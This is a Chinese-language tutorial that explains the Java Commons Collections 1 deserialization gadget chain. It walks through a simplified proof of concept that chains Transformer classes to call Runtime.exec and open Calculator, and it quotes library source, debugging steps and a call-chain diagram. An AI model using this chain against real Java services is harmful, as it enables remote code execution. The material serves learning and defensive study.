0x01 前言
在学习Java反序列化漏洞时,不可避免的部分就是要学习各种利用链了,达到真正的入门
而且其中的 CommonCollections 利用链(简称为cc链),堪称经典,也是必学的一条链
但是如果直接读 ysoserial 源码,中的poc,对于刚入门来说,难度系数实在是太大
因此就想先将利用链简化一波,先入门,在一步一步提升难度
最终在完成对 ysoserial 项目中的 CommonCollections1 利用链的解读
0x02 环境搭建
编辑器为: IntelliJ IDEAjava版本:java version "1.7.0_80"Java(TM) SE Runtime Environment (build 1.7.0_80-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)使用的架包:Commons Collections 3.1
如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
下载完环境以后指定项目的java版本为: jdk1.7

如果想自己一点点安装环境的话,那就先查看下面这一篇文章的环境搭建部分,搭建基础环境,链接如下:
https://www.yuque.com/pmiaowu/gpy1q8/ygthda#r66fl
搭建一个基础的环境以后
进入 DeserializationTest 目录,打开 pom.xml 添加如下配置
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency></dependencies>
0x03 demo
// 先创建个简易版的cc1攻击链// P牛Java安全漫谈上面抄的POC// 路径: /DeserializationTest/src/main/java// 文件名称: CommonCollections1Test1.javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1Test1 {public static void main(String[] args) {// 要执行的命令String cmd = "open -a /System/Applications/Calculator.app";//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 将 transformers 数组存入 ChaniedTransformer 这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// 创建个 Map 准备拿来绑定 transformerChinaMap innerMap = new HashMap();// 创建个 transformerChina 并绑定 innerMapMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("kk", "vvv");System.out.println("执行完毕");}}
接着运行该文件进行攻击测试,即可看到弹出了计算器
运行完毕以后能成功执行,就可以了,就先不要想这个链的攻击思路了
让我们先跳过分析,把基础打一打
在分析这条链的时候,有非常多的类,新人以前是没接触到的
因此在正式分析之前,让我们跟着上面的简易版poc,进行学习
这个简易版的poc,它只是一个用来在本地测试的类,不能算一个真正的反序列化链
因为它最终没把outerMap对象变成一个序列化流,但是非常适合拿来了解CC1链攻击过程
0x04 前置知识学习
0x04.1 Transformer
0x04.1.1 作用说明
首先 Transformer 类,是 Commons Collections 中提供的一个接口类
它只有一个代实现的 transform 方法
0x04.1.2 该类的重点源码
public interface Transformer {Object transform(Object var1);}
0x04.1.3 小小疑问的解答
不知道读者们在使用这个 Transformer 类,时有没有一个疑问
就是明明 Transformer 类,是一个接口类啊!!!
而接口类在印象中是无法被实例化的,需要被其它普通类继承并实现的
而在我们上面的poc中,你可以看到写法是这样的,如下:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};
明明是接口,但是为什么可以new呢?
其实这里并不是说真的new了接口
而是new了一个Transformer[]类型的数组回来,里面存储的是所有实现了Transformer接口的类对象
所以把它当成一个单纯的类型转换器即可
0x04.2 ConstantTransformer
0x04.2.1 作用说明
ConstantTransformer是继承并实现了Transformer接口方法的一个类
它的作用就是在实例化完以后通过构造函数接收一个对象
并且实现 Transformer接口的transform方法,为后面其它操作做服务
0x04.2.2 该类的重点源码
注: 只保留了必要的代码
package org.apache.commons.collections.functors;import java.io.Serializable;import org.apache.commons.collections.Transformer;public class ConstantTransformer implements Transformer, Serializable {...private final Object iConstant;...public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}...}
0x04.2.3 对应POC代码
new ConstantTransformer(Runtime.class)
0x04.2.4 debug调试
首先通过idea直接点击 CommonCollections1Test1.java 中的 ConstantTransformer
进去到 ConstantTransformer类以后,对ConstantTransformer类构造函数
打上一个断点,进行调试
如下操作:



通过debug可以清楚的看到ConstantTransformer类的构造函数,只是将Runtime对象赋值给了this.iConstant变量ConstantTransformer类的transform方法,也只是返回了this.iConstant
0x04.3 InvokerTransformer
0x04.3.1 作用说明
InvokerTransformer是继承并实现了Transformer接口方法的一个类
并且这个类的transform方法,实现了通过Java反射机制来进行执行任意代码的功能
可以说InvokerTransformer类就是这条链子能执行任意代码的关键类
0x04.3.2 该类的重点源码功能讲解
在new InvokerTransformer这个类时,需要我们向构造函数传入三个参数
第⼀个参数,是待执⾏的⽅法名
第二个参数,是这个函数的参数列表的参数类型
第三个参数,是传给这个函数的参数列表
构造函数如下:
可以看得到构造函数只是进行了赋值操作
public class InvokerTransformer implements Transformer, Serializable {...private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;...public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}...}
然后因为InvokerTransformer类继承了Transformer接口,所以必须实现transform方法
让我们看看transform方法做了什么
public class InvokerTransformer implements Transformer, Serializable {...private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;...public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}...public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}}
InvokerTransformer的transform方法,通过反射,执行了input对象的iMethodName方法
也就是说利用该方法就可以通过Java反射机制来执行任意代码
0x04.3.3 对应的POC代码
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]})new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]})new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
0x04.3.4 debug调试构造函数
首先通过idea直接点击 CommonCollections1Test1.java 中的 InvokerTransformer
进去到 InvokerTransformer类以后,先对ConstantTransformer类构造函数
打上一个断点,进行调试查看最终的内容
0x04.4 ChainedTransformer
�ChainedTransformer类是继承并实现了Transformer接口方法的一个类
ChainedTransformer类实现了Transformer链式调用
只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法,并且会将前一个回调返回的结果作为后一个的参数传入
简单的说: 它的作⽤是将内部的多个Transformer串在⼀起,将前一个回调返回的结果作为后一个的参数传入
看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法
0x04.4.1 作用说明
ChainedTransformer是继承并实现了Transformer接口方法的一个类
ChainedTransformer类实现了Transformer链式调用
0x04.4.2 分析
先查看一下POC对应代码操作
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers参数,传入了ChainedTransformer类的构造函数
跟进去看看
package org.apache.commons.collections.functors;import java.io.Serializable;import java.util.Collection;import java.util.Iterator;import org.apache.commons.collections.Transformer;public class ChainedTransformer implements Transformer, Serializable {...private final Transformer[] iTransformers;...public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}...}
很清楚的看到ChainedTransformer类的构造函数
只是将传入的transformers参数,赋值给了本类的this.iTransformers成员变量里面
而ChainedTransformer类的transform方法
会遍历this.iTransformers(Transformer数组)逐个去调用它的transform方法
并且会将前一个Transformer的执行返回的结果,作为后一个Transformer的参数传入
也就是前面说的链式调用!!!
接着debug一下,查看一下链式调用的执行过程


第一次运行,这里传入的是一个Runtime类

第二次执行,可以看到已经将第一次执行的结果也就是Runtime类,赋值给了第二次执行的input参数了

此时的状态等于
Class cls = input.getClass();Method method = cls.getMethod(getMethod,null);return method.invoke(input, getRuntime);
第三次执行,反射调用并且返回getRuntime对象

此时的状态等于
Class cls = input.getClass();Method method = cls.getMethod(invoke, null);return method.invoke(input,null);
第四次执行,将实例化对象传入方法参数里面

此时的状态等于
// 注: input = RuntimeClass cls = input.getClass();Method method = cls.getMethod("exec", null);return method.invoke(input, "open -a /System/Applications/Calculator.app");
这样一个命令的链就大致构造好了
从这个debug可以完整的看出来ChainedTransformer的作用就是将Transformer数组给拼接起来
口语化的大概梳理一下执行过程
- 先通过
ConstantTransformer得到Runtime.class - 然后通过
InvokerTransformer反射执行得到getRuntime方法 - 接着在通过
InvokerTransformer反射执行invoke得到一个Runtime对象 - 最后面在通过
InvokerTransformer反射调用Runtime对象的exec方法造成命令执行
�通过分析了ChainedTransformer类,我们发现了关键点之一!!!
就是如何触发ChainedTransformer类的transform方法?
0x04.5 TransformedMap
前面说过要想成功的命令执行就必须触发ChainedTransformer类的transform方法
而其中TransformedMap类的decorate方法就完美的符合要求了
0x04.5.1 对应的POC代码
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("kk", "vvv");
0x04.5.2 decorate方法功能说明
TransformedMap的decorate方法,会对Java标准数据结构Map做一个装饰
decorate方法接收的三个参数的作用分别为:
第⼀个参数作用为,接受修饰的一个Map
第二个参数接收值为,设置key时调用的Transformer
第三个参数接收值为,设置value时调用的Transformer
因此在实战中会创建一个ChainedTransformer,它的返回值为一个Transformer数组
然后将它绑定到一个TransformedMap上,这样当Map的key或value,设置元素时
就会调用ChainedTransformer对应Transformer类的transform方法
最后面传出的outerMap即是修饰后的Map
0x04.5.3 分析
第一个问题,跟进TransformedMap类的构造函数,看看做了什么?
第二个问题,同时又为什么需要调用decorate方法?
第三个问题,为什么要调用TransformedMap类的put方法完成才能触发攻击?
第四个问题,除了TransformedMap类的put方法,还有别的方法可以么?
先看一眼TransformedMap类重点源码
如下:
package org.apache.commons.collections.map;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.util.Iterator;import java.util.Map;import java.util.Map.Entry;import org.apache.commons.collections.Transformer;public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {...protected final Transformer keyTransformer;protected final Transformer valueTransformer;public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}...protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}protected Map transformMap(Map map) {Map result = new LinkedMap(map.size());Iterator it = map.entrySet().iterator();while(it.hasNext()) {Entry entry = (Entry)it.next();result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));}return result;}...public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);}public void putAll(Map mapToCopy) {mapToCopy = this.transformMap(mapToCopy);this.getMap().putAll(mapToCopy);}}
第一个问题答案:
很清楚的看到TransformedMap类的构造函数
只是将传入的Map和Transformer分别赋值给了本类对应的成员变量里面
第二个问题答案:
但是该构造函数的修饰符是protected,因此外部无法正常调用
同时经过查看发现decorate方法,会去调用该构造函数
这就是为什么要使用decorate方法,因为构造函数调不到
第三个问题答案:
那么回归正题,前面说过如何触发ChainedTransformer类的transform方法,就是能否命令执行的关键
因此这里需要做的就是搜索TransformedMap类里面谁调用了transform方法
通过下图,可以清楚的看到,触发点有三处
其中主要关注transformKey()与transformValue()方法即可
因为checkSetValue()方法在类里面没有被调用,所以无法调用它
那么下一步就是寻找谁调用了transformKey()或是transformValue()方法,完成我们的攻击
通过下面一张图,可以明显看得到,只有put()与putAll()方法调用了,因此可以作为漏洞触发点
主要说说put方法
调用put方法就会调用transformKey()或是transformValue()方法
从而导致transformKey()或是transformValue()方法,会去调用transform方法,执行命令
第四个问题答案:
当然有就是putAll()方法,只是该方法,本质就是循环调用put()而已
0x05 利用链过程
通过前置知识的学习,终于我们理通了Transformer的意义
那么现在就理一下整体的攻击流程
# 利用链过程├── TransformedMap.put()│ └── TransformedMap.transformValue()│ └── ChainedTransformer.transform()│ ├── ConstantTransformer.transform()│ ├── InvokerTransformer.transform()│ │ └── Method.invoke()│ │ └── Class.getMethod()│ ├── InvokerTransformer.transform()│ │ └── Method.invoke()│ │ └── Runtime.getRuntime()│ └── InvokerTransformer.transform()│ └── Method.invoke()│ └── Runtime.exec()
0x06 总结
通过P牛这个简单到不能在简单的demo也是成功让它执行命令
但是它现在只是一个用来在本地测试的类
还不算一个真正的反序列化链,因为在实际运用中,需要将该demo代码转换为序列化流
在本地中,可以通过outerMap.put("kk", "vvv");来触发漏洞
但是在实际中,需要找到一个类,读取恶意的序列化流,让它在反序列化的readObject()逻辑时
有类似Map.put()的操作,然后触发ChainedTransformer类的transform方法,最终执行恶意代码
注意: 本文非常重要,是CC1链中核心知识的一个补充学习,一定一定要学习并记在脑海中,理解了本篇文章,实际上其它文章就是如何让反序列化调用该demo的一个过程而已
未完待续….



